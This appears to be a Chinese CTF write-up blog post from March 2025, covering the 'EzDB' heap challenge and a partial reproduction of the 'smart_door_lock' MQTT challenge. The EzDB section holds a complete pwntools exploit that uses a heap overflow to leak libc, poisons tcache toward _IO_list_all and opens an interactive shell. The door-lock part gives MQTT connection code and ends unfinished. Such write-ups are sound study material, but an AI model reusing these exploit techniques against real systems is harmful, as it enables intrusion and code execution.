2025年3月

EzDB

程序模拟了一个数据库,其中每个表的数据从高地址向低地址增长,低地址存放数据的堆上偏移。每个表总长 1024 字节,每个偏移 4 字节长。一次性写入 1021 字节的数据可以覆盖偏移值,从而修改块大小,得到堆上无限长溢出读写。

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './db'

# io = process(binary)
io = connect('61.147.171.106', 61212)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

def create(index: int):
    io.sendlineafter(b'>>> ', b'1')
    io.sendlineafter(b'Index: ', itob(index))

def remove(index: int):
    io.sendlineafter(b'>>> ', b'2')
    io.sendlineafter(b'Index: ', itob(index))

def insert(index: int, length: int, content:bytes) -> int:
    io.sendlineafter(b'>>> ', b'3')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)
    io.recvuntil(b'slot id: ')
    return int(io.recvline(False).decode())

def get(index: int, slot: int) -> bytes:
    io.sendlineafter(b'>>> ', b'4')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.recvuntil(b'Varchar: ')
    return io.recvline(False)

def edit(index: int, slot: int, length: int, content: bytes):
    io.sendlineafter(b'>>> ', b'5')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)

def exitit():
    io.sendlineafter(b'>>> ', b'6')

for i in range(10):
    create(i)
for i in range(1, 10):
    remove(i)

insert(0, 1021, cyclic(1020) + b'\x00')
rec = get(0, 0)
libc.address = u64(rec[8765 : 8765 + 8]) - 0x21ace0
success(f'libc_base: 0x{libc.address:x}')
tcache_key = u64(rec[1037 : 1037 + 8])
success(f'tcache_key: 0x{tcache_key:x}')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(tcache_key << 12) + 0x4000)
payload = hos.hoi_read_file_template((tcache_key << 12) + 0x4000, 0x400, (tcache_key << 12) + 0x4000, 0)

rec = rec.replace(rec[7613 : 7613 + 8], p64((libc.sym['_IO_list_all'] - 0x400 + 16) ^ (tcache_key + 1)))
edit(0, 0, 7613 + 8, rec[:7613 + 8])

create(1)
insert(1, len(payload), payload)
create(2)
insert(2, 16, p64((tcache_key << 12) + 8128) + p64(0))

exitit()
hos.bomb(io)

io.interactive()

smart_door_lock 复现

分析题目附件

题目给出了启动脚本和 Dockerfile,一个根目录 cpio 镜像,一个内核镜像。打开 rootfs.cpio,在 /init 里有

nohup /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf >/dev/null &
nohup bash /usr/sbin/mqtt_restart.sh >/dev/null &

。其中 mosquitto 是 MQTT 协议的 message broker,是一个用于物联网设备的消息代理服务,和其他设备远程通信。所以这道题的远程环境不是用 nc 直接连的,也没法直接用 pwntools。

/usr/sbin/mqtt_restart.sh 每秒尝试重启 /usr/sbin/mqtt_lock

#!/bin/bash
PROCESS_NAME="mqtt_lock"

while true; do
    if ! ps -ef | grep -v grep | grep -q "$PROCESS_NAME"; then
        nohup /usr/sbin/mqtt_lock > /dev/null 2>&1 &
    fi
    sleep 1
done &

,而 mqtt_lock 就是我们要逆向分析的程序。

MQTT 协议

...

连接 / 利用

首先要把设备的证书取出来,在 /etc/mosquitto/certs,然后用 Python paho 连接设备。

import paho.mqtt.client as mqtt
import ssl

client = mqtt.Client()
client.tls_set(ca_certs="./certs/ca.crt", tls_version=ssl.PROTOCOL_TLS)
client.tls_insecure_set(True)
client.connect('localhost', 8883)
client.loop_start()

但是比赛期间一直不知道该订阅什么 topic,mqtt_lock 又是个静态链接无符号的程序,逆向起来实在难绷。topic 一般有斜杠 /,我翻遍所有的字符串也没找到像 topic 的,于是就先去做其他题了。

订阅 # 就是订阅所有 topic,但对于这道题也没什么用,这个设备不会主动发送任何信息。其实是向 auth_token topic publish 16 字节长的字母数字字符串作为 TOKEN,然后向 TOKEN topic 发送指纹。指纹在 /etc/mosquitto/fingers_credit 中取。

之后就是增删改查堆利用了。

待续...